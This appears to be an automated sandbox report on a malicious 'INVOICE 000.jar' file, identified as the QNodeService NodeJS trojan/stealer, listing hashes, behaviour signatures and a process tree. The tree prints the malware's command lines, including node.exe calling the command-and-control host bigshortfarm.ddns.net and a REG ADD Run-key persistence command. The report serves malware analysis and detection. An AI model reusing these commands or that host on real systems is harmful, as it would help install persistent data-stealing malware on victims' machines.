Analysis

  • max time kernel
    35s
  • max time network
    124s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    13-10-2020 10:41

General

  • Target

    INVOICE 000.jar

  • Size

    196KB

  • MD5

    0829f6bcb6b2d0857e551008522d9db8

  • SHA1

    c6f12d5cbfd8222b551a844cb364a369c0faf744

  • SHA256

    6277e9e9e13f3ca2cc2f66feaf957a052bdc851e40aa5bdd9c934ef452ee0546

  • SHA512

    169e605f7968b2561a6180d103e476be7b185047ba971f20f74e8cbfcdd2674bccf8962ba9e8b30e76fe996bf2da4e276179e842250c727142875cd0510715a2

Malware Config

Signatures

  • QNodeService

    Trojan/stealer written in NodeJS and spread via Java downloader.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • JavaScript code in executable 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar "C:\Users\Admin\AppData\Local\Temp\INVOICE 000.jar"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:352
    • C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
      "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\414ddb2c.tmp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2896
      • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain bigshortfarm.ddns.net
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3344
        • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
          C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_grppS3\boot.js --hub-domain bigshortfarm.ddns.net
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3656
          • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
            C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_grppS3\boot.js --hub-domain bigshortfarm.ddns.net
            5⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3148
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "c53333df-67fe-4af2-b23b-d653b4a51084" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:2468
              • C:\Windows\system32\reg.exe
                REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "c53333df-67fe-4af2-b23b-d653b4a51084" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
                7⤵
                • Adds Run key to start application
                PID:500

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\.oracle_jre_usage\90737d32e3aba4b.timestamp

    MD5

    05f7d69d791b6e4ace284551768a2f47

    SHA1

    f3ce1ec90363617021133c0775bb7fb0ccd1db36

    SHA256

    21463b43661e5eddc95db5c142b0256ad30550dd09be51f2648908c112f53bc9

    SHA512

    db7861cb732c85880f5cf62cdbaf1bd8b9932322d8f94443db250056d2c7c384988590bee2afecce33e461077c85bbc0bab540d5ef22aad76a68fdc9370657ab

  • C:\Users\Admin\AppData\Local\Temp\414ddb2c.tmp

    MD5

    0829f6bcb6b2d0857e551008522d9db8

    SHA1

    c6f12d5cbfd8222b551a844cb364a369c0faf744

    SHA256

    6277e9e9e13f3ca2cc2f66feaf957a052bdc851e40aa5bdd9c934ef452ee0546

    SHA512

    169e605f7968b2561a6180d103e476be7b185047ba971f20f74e8cbfcdd2674bccf8962ba9e8b30e76fe996bf2da4e276179e842250c727142875cd0510715a2

  • C:\Users\Admin\AppData\Local\Temp\_qhub_node_grppS3\boot.js

    MD5

    c686d5fcf94d07f7cee70109eba9c4d3

    SHA1

    588eee04fdbf1fa372c8389c66d581e0b37afd7e

    SHA256

    e7e4897c0bbcd7e2931011f7839a0ebe920dc14e116fb898fc5e318827dc425d

    SHA512

    5af3b52daafe41bf891dcd846c3b8c15c04d1da2cdb28c915cf970f2fbe3d7bba6b6fc7c291a431a2d0a437f159322401eb8aa567a146763d665ca76677853a3

  • C:\Users\Admin\node-v14.12.0-win-x64\node.exe

    MD5

    f0b11a5823c45fc2664e116dc0323bcb

    SHA1

    612339040c1f927ec62186cd5012f4bb9c53c1b9

    SHA256

    16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

    SHA512

    0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

  • C:\Users\Admin\node-v14.12.0-win-x64\node.exe

    MD5

    f0b11a5823c45fc2664e116dc0323bcb

    SHA1

    612339040c1f927ec62186cd5012f4bb9c53c1b9

    SHA256

    16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

    SHA512

    0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

  • C:\Users\Admin\node-v14.12.0-win-x64\node.exe

    MD5

    f0b11a5823c45fc2664e116dc0323bcb

    SHA1

    612339040c1f927ec62186cd5012f4bb9c53c1b9

    SHA256

    16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

    SHA512

    0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

  • memory/500-175-0x0000000000000000-mapping.dmp

  • memory/2468-174-0x0000000000000000-mapping.dmp

  • memory/2896-49-0x0000000000000000-mapping.dmp

  • memory/3148-173-0x000001FD79780000-0x000001FD79781000-memory.dmp

    Filesize

    4KB

  • memory/3148-171-0x0000000000000000-mapping.dmp

  • memory/3344-164-0x0000000000000000-mapping.dmp

  • memory/3344-166-0x000001EFC9040000-0x000001EFC9041000-memory.dmp

    Filesize

    4KB

  • memory/3656-169-0x0000007910E00000-0x0000007910E01000-memory.dmp

    Filesize

    4KB

  • memory/3656-167-0x0000000000000000-mapping.dmp